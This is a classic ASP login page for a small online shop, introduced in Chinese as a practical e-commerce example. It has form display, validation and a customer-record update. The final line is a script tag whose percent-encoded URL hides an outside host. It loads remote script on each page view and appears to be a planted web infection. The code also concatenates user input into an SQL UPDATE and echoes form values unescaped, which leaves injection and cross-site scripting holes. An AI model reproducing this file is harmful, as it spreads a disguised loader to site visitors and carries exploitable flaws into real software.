shoplogin.asp

vb的一个事例,简单了一点,但实用的一个电子超市系统

<!--#include file="shop$db.asp"-->
<%

dim dbc
Session("CurrentUrl")="shoplogin.asp"
AdLogin
'
Sub AdLogin()
sAction=Request.form("Action")
If sAction = "" Then
     ShopPageHeader
     GetCustomerSessionData()
     DisplayLoginForm()
     ShopPageTrailer
Else
    ValidateLoginData()
    If Serror ="" then
        RetrieveLoginData
    end if 
    if sError = "" Then
       UpdateCustomerSessionData
       response.redirect Session("followonurl")
     else
          ShopPageHeader
          DisplayLoginForm
          ShopPageTrailer
     end if
end if
end Sub

Sub DisplayLoginForm()
	Dim sRowColor
	sRowColor="#007766"
	Response.Write("<blockquote>")
	Response.Write("请输入您的姓名和信箱：<p>")
        response.write ("<p><font size=2><a href=shopcustomer.asp?new=yes>新客户注册</a></font></p>")
        if sError<> "" then
            response.write "<b>" & SError & "</b>"
            Serror=""
        end if
	Response.Write("<font color=red>" & sError & "</font><p>")
	Response.Write("<form name=form1 method=Post action=" & Session("currenturl") & ">")
	Response.Write("<table cellpadding=2 cellspacing=1 align=center bgcolor=#000000>")
	Response.Write("<tr bgcolor=" & sRowColor &"><td>姓名:</td><td><input size=25 name=strLastname value=" & Chr(34) & strLastname & Chr(34) & "></td></tr>")
	Response.Write("<tr bgcolor=" & sRowColor &"><td>信箱:</td><td><input size=25 name=strEmail value=" & Chr(34) & strEmail & Chr(34) & "></td></tr>")
	Response.Write("</table><p align=center>")
	Response.Write("<input type=submit name=action value=确定>")
	Response.Write("</form>")
	Response.Write("</blockquote>")
End Sub
Sub ValidateLoginData()
	strLastname = Request.Form("strLastname")
	strEmail = Request.Form("strEmail")
	If strLastname = "" Then
		sError = sError & "姓名是必须要填的项目。<br>"
	End If 
	If strEmail = "" Then
		sError = sError & "信箱是必须要填的项目。<br>"
	End If 
end sub
Sub RetrieveLogindata
LocateCustomer Request.form("strLastName"), Request.form("strEmail")
If strCustomerID <>"" then
 LngLoginCount=lngLoginCount+1
 UpdateCustomerSessionData
Else
  SError = SError & " 非法的姓名或信箱！"
end if
ShopCloseDatabase dbc
set rs=nothing
end sub
Sub UpdateLoginData
Dim dbc
ShopOpenDatabase dbc
'response.write "Login count" & lngLoginCount
sql = "update customers set "
sql = sql & "登陆次数=" & lngLoginCount
sql = sql & ",最后登陆时间='" & date() & "'"
Sql = sql & " WHERE 姓名='" & strLastName & "' AND Email='" & strEmail & "'"
'response.write sql
dbc.execute(sql)
ShopCloseDatabase  dbc
end sub
%>
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>